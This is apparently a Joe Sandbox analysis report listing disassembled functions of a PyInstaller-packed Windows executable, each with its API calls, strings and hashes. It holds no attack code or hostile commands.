GetCurrentProcessId.KERNEL32 ref: 00007FF72C65D056
QueryPerformanceCounter.KERNEL32 ref: 00007FF72C65D066

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 9497ebfe237829fba5ad6f0ae8ddd71a8962e52b33c5ec32f40ebd45b48d8dda
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: D7114C36B14B068AEB009F60EC452B973A4FB69768F840E31DA2D467A4DF78D1688750

Function 00007FF72C673480 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF72C673484

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction ID: b3cc970fe281f182c87d7858b05a87be79a881b4141bd7f19f62f17039dadd30
Opcode Fuzzy Hash: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction Fuzzy Hash: 27B09220E1BA02C2EA0A3B216C8722862A6FFA8720FD801B8C01D41330DE2C25E95B21

Function 00007FF72C679570 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction ID: e7f8bdc5ffaa5a511b05a27265d9a75b1630445223ef41b344fdc5b32336cfb1
Opcode Fuzzy Hash: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction Fuzzy Hash: EFF068717182A58BDB99DF69A84262977D1F7183D0F9480B9D68D83B04DA3CD1518F14

Function 00007FF72C65D30C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction ID: 8fe0a5c0466e038783a2413c14aad32eb35110ec0842fe12b6483e9d271176e2
Opcode Fuzzy Hash: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction Fuzzy Hash: A4A00231D0DC0BD0E646AB00ED91035A332FBB5368BD00471E21E514F0AF3CA448DB60

Function 00007FF72C655830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C655840
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C655852
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C655889
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65589B
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6558B4
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6558C6
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6558DF
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6558F1
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65590D
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65591F
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65593B
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65594D
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C655969
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C65597B
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C655997
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6559A9
GetProcAddress.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6559C5
GetLastError.KERNEL32(?,00007FF72C6564CF,?,00007FF72C65336E), ref: 00007FF72C6559D7

Strings

PyObject_CallFunction, xrefs: 00007FF72C655CF7, 00007FF72C655D19
PyErr_Print, xrefs: 00007FF72C655B59, 00007FF72C655B7B
GetProcAddress, xrefs: 00007FF72C655868
Py_ExitStatusException, xrefs: 00007FF72C6558AA, 00007FF72C6558CC
PyStatus_Exception, xrefs: 00007FF72C655E39, 00007FF72C655E5B
PyErr_Fetch, xrefs: 00007FF72C655ACF, 00007FF72C655AF1
PyModule_GetDict, xrefs: 00007FF72C655CC9, 00007FF72C655CEB
PyConfig_SetWideStringList, xrefs: 00007FF72C655A73, 00007FF72C655A95
PySys_SetObject, xrefs: 00007FF72C655E95, 00007FF72C655EB7
Py_PreInitialize, xrefs: 00007FF72C65595F, 00007FF72C655981
Py_InitializeFromConfig, xrefs: 00007FF72C655903, 00007FF72C655925
PyMarshal_ReadObjectFromString, xrefs: 00007FF72C655C6D, 00007FF72C655C8F
PyUnicode_AsUTF8, xrefs: 00007FF72C655EC3, 00007FF72C655EE5
PyConfig_SetString, xrefs: 00007FF72C655A45, 00007FF72C655A67
Py_DecRef, xrefs: 00007FF72C655836, 00007FF72C655858
Py_DecodeLocale, xrefs: 00007FF72C65587F, 00007FF72C6558A1
PyUnicode_Replace, xrefs: 00007FF72C655FD7, 00007FF72C655FF9
PyImport_AddModule, xrefs: 00007FF72C655BE3, 00007FF72C655C05
PyObject_SetAttrString, xrefs: 00007FF72C655D81, 00007FF72C655DA3
PyRun_SimpleStringFlags, xrefs: 00007FF72C655E0B, 00007FF72C655E2D
PyUnicode_FromString, xrefs: 00007FF72C655F7B, 00007FF72C655F9D
Py_Finalize, xrefs: 00007FF72C6558D5, 00007FF72C6558F7
PyMem_RawFree, xrefs: 00007FF72C655C9B, 00007FF72C655CBD
PyImport_ImportModule, xrefs: 00007FF72C655C3F, 00007FF72C655C61
PyObject_Str, xrefs: 00007FF72C655DAF, 00007FF72C655DD1
PyErr_NormalizeException, xrefs: 00007FF72C655AFD, 00007FF72C655B1F
PyUnicode_Join, xrefs: 00007FF72C655FA9, 00007FF72C655FCB
Failed to get address for %hs, xrefs: 00007FF72C655861
PySys_GetObject, xrefs: 00007FF72C655E67, 00007FF72C655E89
PyUnicode_FromFormat, xrefs: 00007FF72C655F4D, 00007FF72C655F6F
PyErr_Restore, xrefs: 00007FF72C655B87, 00007FF72C655BA9
PyObject_GetAttrString, xrefs: 00007FF72C655D53, 00007FF72C655D75
PyEval_EvalCode, xrefs: 00007FF72C655BB5, 00007FF72C655BD7
PyObject_CallFunctionObjArgs, xrefs: 00007FF72C655D25, 00007FF72C655D47
PyErr_Clear, xrefs: 00007FF72C655AA1, 00007FF72C655AC3
Py_IsInitialized, xrefs: 00007FF72C655931, 00007FF72C655953
PyUnicode_Decode, xrefs: 00007FF72C655EF1, 00007FF72C655F13
PyConfig_SetBytesString, xrefs: 00007FF72C655A17, 00007FF72C655A39
PyConfig_InitIsolatedConfig, xrefs: 00007FF72C6559BB, 00007FF72C6559DD
PyImport_ExecCodeModule, xrefs: 00007FF72C655C11, 00007FF72C655C33
PyUnicode_DecodeFSDefault, xrefs: 00007FF72C655F1F, 00007FF72C655F41
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF72C655DDD, 00007FF72C655DFF
PyConfig_Read, xrefs: 00007FF72C6559E9, 00007FF72C655A0B
PyConfig_Clear, xrefs: 00007FF72C65598D, 00007FF72C6559AF
PyErr_Occurred, xrefs: 00007FF72C655B2B, 00007FF72C655B4D

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: eda8e9cb84964693718dd253f66033653bfa142b70d2fc38ce5af5868362422b
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: 4B22B164A09F07A1FA47BB55AC1A5B4A3A3FF647B1BE41835C51E02260FF3CA54D8F24

Function 00007FF72C6581D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72C659390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF72C6545F4,00000000,00007FF72C651985), ref: 00007FF72C6593C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF72C6586B7,?,?,00000000,00007FF72C653CBB), ref: 00007FF72C65822C

Part of subcall function 00007FF72C652810: MessageBoxW.USER32 ref: 00007FF72C6528EA

Strings

LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF72C65829D
CreateDirectory, xrefs: 00007FF72C65837C
\, xrefs: 00007FF72C658261
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF72C658240
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF72C658203
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF72C6582D9
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF72C658373
%.*s, xrefs: 00007FF72C65830C

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction ID: 7ef42902bd1cde71f8c84e3eb85ebb2b6a6ae9d11e0d93f16cb01c3d8ab3ec0a
Opcode Fuzzy Hash: 9187bed43bf71c5340eadf58a1920dd2feb36a2730cc38c17813087cef3183ed
Instruction Fuzzy Hash: 4B518611A1C64281FA52BB65DC552B9E352FFB87E0FE44831D70E42AD5EE3CE5088F60

Function 00007FF72C652180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF72C6521AB
SelectObject.GDI32 ref: 00007FF72C6521F2
DrawTextW.USER32 ref: 00007FF72C652215
SelectObject.GDI32 ref: 00007FF72C65222B
ReleaseDC.USER32 ref: 00007FF72C65223B
MoveWindow.USER32 ref: 00007FF72C65228B
MoveWindow.USER32 ref: 00007FF72C6522CB
MoveWindow.USER32 ref: 00007FF72C65231E
MoveWindow.USER32 ref: 00007FF72C652366

Strings

P%, xrefs: 00007FF72C6521FF

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: c856e71026625c4dcf53e9d161458fe9742495b3ee8c397dc4c6480bcee77c74
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: B151E9366047A186D6349F36E4181BAF7A2FBA8B65F404125EFDE43694DF3CD045DB20

Function 00007FF72C6580C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF72C6580FF
GetWindowLongPtrW.USER32 ref: 00007FF72C65817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF72C658192
GetLastError.KERNEL32 ref: 00007FF72C65819C
SetWindowLongPtrW.USER32 ref: 00007FF72C6581B3

Strings

Needs to remove its temporary files., xrefs: 00007FF72C658185

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: c43abbecf4a9d3081e3c19240c48d32a48b423849fa415f034b3ea1467b0ae38
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 66218821B08A4381E7526B7AFC45179A352FFA8BF0F984531DB1D437D8DE2CD5958B20

Function 00007FF72C666290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6662D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6666C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66695C

Strings

:, xrefs: 00007FF72C66648C
-, xrefs: 00007FF72C666369
p, xrefs: 00007FF72C666385
p, xrefs: 00007FF72C6663FD
f, xrefs: 00007FF72C6663F5

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: d6145e58236951280cdc39b865d6008e905f2ee23aaf1e4de42334ebbbf37fb7
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 4B127061E0824386FB227A15F954279F6B3FB60764FE4813DE68A466C4DF7CE5808F21

Function 00007FF72C660FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C661008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6613D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66166F

Strings

f, xrefs: 00007FF72C6610A0
p, xrefs: 00007FF72C6610AD
f, xrefs: 00007FF72C66110A
p, xrefs: 00007FF72C661112
f, xrefs: 00007FF72C661255

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 808a7fa6049103a88b91e57bc9f78050900597928f8c3b4ea897a958b3d5c613
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 17127461E0C14386FB21BA15EC54679F6B3FBA0764FE44039D69A47AC4DB7CE4808F60

Function 00007FF72C651050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF72C65110F
Failed to extract %s: failed to open archive file!, xrefs: 00007FF72C651098
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF72C6510CC
fread, xrefs: 00007FF72C6511FD
fseek, xrefs: 00007FF72C6510D3
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF72C651108
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF72C6511F6

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: bdb51f189eec0aae26590c8a1b92bbb562030306dab734aaada4990c27a5542a
Instruction ID: f313f5aa19bce955fab23999e56595ac6e7fc054a09b00b6304cdae7fab1f308
Opcode Fuzzy Hash: bdb51f189eec0aae26590c8a1b92bbb562030306dab734aaada4990c27a5542a
Instruction Fuzzy Hash: CD41B521B0865381EA12FB129C016B9F396FFA4BE4FE44931EE0C07785DE3CE5458B60

Function 00007FF72C651470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF72C65151F
Failed to extract %s: failed to open archive file!, xrefs: 00007FF72C65149F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF72C6514DE
fread, xrefs: 00007FF72C6515E6
fseek, xrefs: 00007FF72C6514E5
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF72C651518
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF72C6515DF

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: a8e221c47165c0dbec1a7dc4007f346f16716469ebf4d834264a8452580f1fe3
Instruction ID: 3c93293992452c50435354a42f86e2d4df4e9d2704875170620fcf1a7f9a3b6e
Opcode Fuzzy Hash: a8e221c47165c0dbec1a7dc4007f346f16716469ebf4d834264a8452580f1fe3
Instruction Fuzzy Hash: 1A418161A0854385EA02EB21DC411B9F392FFA47E4FE44932EE4D07B99DE3CE5458F64

Function 00007FF72C65EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF72C65EA65

Part of subcall function 00007FF72C65F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF72C65F9FF
Part of subcall function 00007FF72C65F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF72C65FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF72C65EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF72C65ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF72C65EE98

Strings

csm, xrefs: 00007FF72C65EAE6
csm, xrefs: 00007FF72C65EB60
csm, xrefs: 00007FF72C65EA7F

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: cf1b7d9260b1dd337f322538d9dc9c3f42fb4c4a0a2055fb6799c411062e17d4
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 05D18232A0878186EB21AB65D9803ADB7A2FB657E8F600135DF4D57795DF3CE081CB11

